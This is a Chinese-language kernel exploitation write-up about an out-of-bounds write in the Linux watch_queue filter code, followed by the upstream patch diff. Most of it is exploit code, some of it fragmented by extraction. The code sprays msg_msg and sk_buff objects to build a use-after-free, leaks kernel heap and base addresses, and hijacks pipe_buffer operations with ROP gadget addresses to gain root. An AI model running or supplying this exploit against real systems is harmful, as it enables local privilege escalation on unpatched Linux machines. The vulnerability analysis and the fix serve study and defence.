/* Now we need to build the internal filter from only the relevant * user-specified filters. */ ret = -ENOMEM; wfilter = kzalloc(struct_size(wfilter, filters, nr_filter), GFP_KERNEL); if (!wfilter) goto err_filter; wfilter->nr_filters = nr_filter;
之后是将 filter 数组拷贝到分配的空间上,我们的第一个漏洞便出现在这里,其判断 type 是否合法使用的是sizeof(wfilter->type_filter) * BITS_PER_LONG) ,与前面 nr_filter 的计算存在不一致性:
1 2 3 4 5 6 7 8 9 10 11 12
q = wfilter->filters; for (i = 0; i < filter.nr_filters; i++) { if (tf[i].type >= sizeof(wfilter->type_filter) * BITS_PER_LONG) continue;
那么选用什么样的结构体作为 victim 呢?这里我们选择使用 msg_msg 这一结构体,其长度可控,且开头正好是内核双向链表结构体,我们所能覆写的为其 next 指针:
1 2 3 4 5 6 7 8 9
/* one msg_msg structure for each message */ structmsg_msg { structlist_headm_list; long m_type; size_t m_ts; /* message text size */ structmsg_msgseg *next; void *security; /* the actual message follows immediately */ };
tf = memdup_user(_filter->filters, filter.nr_filters * sizeof(*tf)); if (IS_ERR(tf)) return PTR_ERR(tf);
//...
/* Now we need to build the internal filter from only the relevant * user-specified filters. */ ret = -ENOMEM; wfilter = kzalloc(struct_size(wfilter, filters, nr_filter), GFP_KERNEL);
/** * struct pipe_buffer - a linux kernel pipe buffer * @page: the page containing the data for the pipe buffer * @offset: offset of data inside the @page * @len: length of data inside the @page * @ops: operations associated with this buffer. See @pipe_buf_operations. * @flags: pipe buffer flags. See above. * @private: private data owned by the ops. **/ structpipe_buffer { structpage *page; unsignedint offset, len; conststructpipe_buf_operations *ops; unsignedint flags; unsignedlongprivate; };
struct { long mtype; char mtext[PRIMARY_MSG_SIZE - sizeof(struct msg_msg)]; }primary_msg;
struct { long mtype; char mtext[SECONDARY_MSG_SIZE - sizeof(struct msg_msg)]; }secondary_msg;
/* * skb_shared_info need to take 320 bytes at the tail * so the max size of buf we should send is: * 1024 - 320 = 704 */ char fake_secondary_msg[704];
// run the exp on specific core only CPU_ZERO(&cpu_set); CPU_SET(0, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
// pipe to trigert off-by-null if (pipe2(oob_pipe_fd, O_NOTIFICATION_PIPE) < 0) errExit("failed to create O_NOTIFICATION_PIPE!");
// socket pairs to spray sk_buff for (int i = 0; i < SOCKET_NUM; i++) if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_sockets[i]) < 0) errExit("failed to create socket pair!");
/* * Step.I * build msg_queue, spray primary and secondary msg_msg, * and use OOB write to construct the overlapping */ puts("\n\033[34m\033[1m[*] Step.I spray msg_msg, construct overlapping object\033[0m");
puts("[*] Build message queue..."); // build 4096 message queue for (int i = 0; i < MSG_QUEUE_NUM; i++) { if ((msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) < 0) errExit("failed to create msg_queue!"); }
puts("[*] Spray primary and secondary msg_msg...");
// create hole in primary msg_msg puts("[*] Create holes in primary msg_msg..."); for (int i = 0; i < MSG_QUEUE_NUM; i += 1024) { if (readMsg(msqid[i], &primary_msg, sizeof(primary_msg), PRIMARY_MSG_TYPE) < 0) errExit("failed to receive primary msg!"); }
// triger off-by-null on primary msg_msg puts("[*] Trigger OOB write to construct the overlapping..."); trigerOutOfBoundWrite(oob_pipe_fd);
// find the queues that have the same secondary msg_msg puts("[*] Checking whether succeeded to make overlapping..."); victim_qid = real_qid = -1; for (int i = 0; i < MSG_QUEUE_NUM; i++) { if ((i % 1024) == 0) // the hole continue;
if (peekMsg(msqid[i], &secondary_msg, sizeof(secondary_msg), 1) < 0) { printf("[x] error qid: %d\n", i); errExit("failed to receive secondary msg!"); }
if (*(int*) &secondary_msg.mtext[0] != MSG_TAG) errExit("failed to make corruption!");
// free the victim secondary msg_msg, then we get a UAF if (readMsg(msqid[real_qid], &secondary_msg, sizeof(secondary_msg), SECONDARY_MSG_TYPE) < 0) errExit("failed to receive secondary msg!");
puts("\033[32m\033[1m[+] UAF construction complete!\033[0m");
/* * Step.III * spray sk_buff to leak msg_msg addr * construct fake msg_msg to leak addr of UAF obj */ puts("\n\033[34m\033[1m[*] Step.III spray sk_buff to leak kheap addr\033[0m");
// use fake msg_msg to read OOB puts("[*] OOB read from victim msg_msg"); if (peekMsg(msqid[victim_qid], &oob_msg, sizeof(oob_msg), 1) < 0) errExit("failed to read victim msg!");
if (*(int *)&oob_msg.mtext[SECONDARY_MSG_SIZE] != MSG_TAG) errExit("failed to rehit the UAF object!");
printf("\033[32m\033[1m[+] addr of primary msg of msg nearby victim: \033[0m%llx\n", nearby_msg->m_list.prev);
// release and re-spray sk_buff to construct fake msg_msg // so that we can make an arbitrary read on a primary msg_msg if (freeSkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0) errExit("failed to release sk_buff!");
puts("[*] arbitrary read on primary msg of msg nearby victim"); if (peekMsg(msqid[victim_qid], &oob_msg, sizeof(oob_msg), 1) < 0) errExit("failed to read victim msg!");
if (*(int *)&oob_msg.mtext[0x1000] != MSG_TAG) errExit("failed to rehit the UAF object!");
// cal the addr of UAF obj by the header we just read out nearby_msg_prim = (struct msg_msg*) &oob_msg.mtext[0x1000 - sizeof(struct msg_msg)]; victim_addr = nearby_msg_prim->m_list.next - 0x400;
printf("\033[32m\033[1m[+] addr of msg next to victim: \033[0m%llx\n", nearby_msg_prim->m_list.next); printf("\033[32m\033[1m[+] addr of msg UAF object: \033[0m%llx\n", victim_addr);
/* * Step.IV * fix the header of UAF obj and release it * spray pipe_buffer and leak the kernel base */ puts("\n\033[34m\033[1m[*] Step.IV spray pipe_buffer to leak kernel base\033[0m");
// re-construct the msg_msg to fix it puts("[*] fixing the UAF obj as a msg_msg..."); if (freeSkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0) errExit("failed to release sk_buff!");
memset(fake_secondary_msg, 0, sizeof(fake_secondary_msg)); buildMsg((struct msg_msg *)fake_secondary_msg, victim_addr + 0x800, victim_addr + 0x800, // a valid kheap addr is valid VICTIM_MSG_TYPE, SECONDARY_MSG_SIZE - sizeof(struct msg_msg), 0, 0); if (spraySkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0) errExit("failed to spray sk_buff!");
// release UAF obj as secondary msg puts("[*] release UAF obj in message queue..."); if (readMsg(msqid[victim_qid], &secondary_msg, sizeof(secondary_msg), VICTIM_MSG_TYPE) < 0) errExit("failed to receive secondary msg!");
// spray pipe_buffer puts("[*] spray pipe_buffer..."); for (int i = 0; i < PIPE_NUM; i++) { if (pipe(pipe_fd[i]) < 0) errExit("failed to create pipe!");
// write something to activate it if (write(pipe_fd[i][1], "arttnba3", 8) < 0) errExit("failed to write the pipe!"); }
// release the sk_buff to read pipe_buffer, leak kernel base puts("[*] release sk_buff to read pipe_buffer..."); pipe_buf_ptr = (struct pipe_buffer *) &fake_secondary_msg; for (int i = 0; i < SOCKET_NUM; i++) { for (int j = 0; j < SK_BUFF_NUM; j++) { if (read(sk_sockets[i][1], &fake_secondary_msg, sizeof(fake_secondary_msg)) < 0) errExit("failed to release sk_buff!");
/* * Step.V * hijack the ops of pipe_buffer * free all pipe to trigger fake ptr * so that we hijack the RIP * construct a ROP on pipe_buffer */ puts("\n\033[34m\033[1m[*] Step.V hijack the ops of pipe_buffer, gain root privilege\033[0m");
puts("[*] pre-construct data in userspace..."); pipe_buf_ptr = (struct pipe_buffer *) fake_secondary_msg; pipe_buf_ptr->ops = victim_addr;
ops_ptr = (struct pipe_buf_operations *) fake_secondary_msg; ops_ptr->release = 0xffffffff8183b4d3 + kernel_offset;// push rsi ; pop rsp ; add [rbp-0x3d],bl ; ret ops_ptr->confirm = 0xffffffff81689ea4 + kernel_offset;// pop rdx ; pop r13 ; pop rbp ; ret
@@ -320,7 +319,7 @@ long watch_queue_set_filter(struct pipe_inode_info *pipe, tf[i].info_mask & WATCH_INFO_LENGTH) goto err_filter; /* Ignore any unknown types */ - if (tf[i].type >= sizeof(wfilter->type_filter) * 8) + if (tf[i].type >= WATCH_TYPE__NR) continue; nr_filter++; } @@ -336,7 +335,7 @@ long watch_queue_set_filter(struct pipe_inode_info *pipe,
q = wfilter->filters; for (i = 0; i < filter.nr_filters; i++) { - if (tf[i].type >= sizeof(wfilter->type_filter) * BITS_PER_LONG) + if (tf[i].type >= WATCH_TYPE__NR) continue;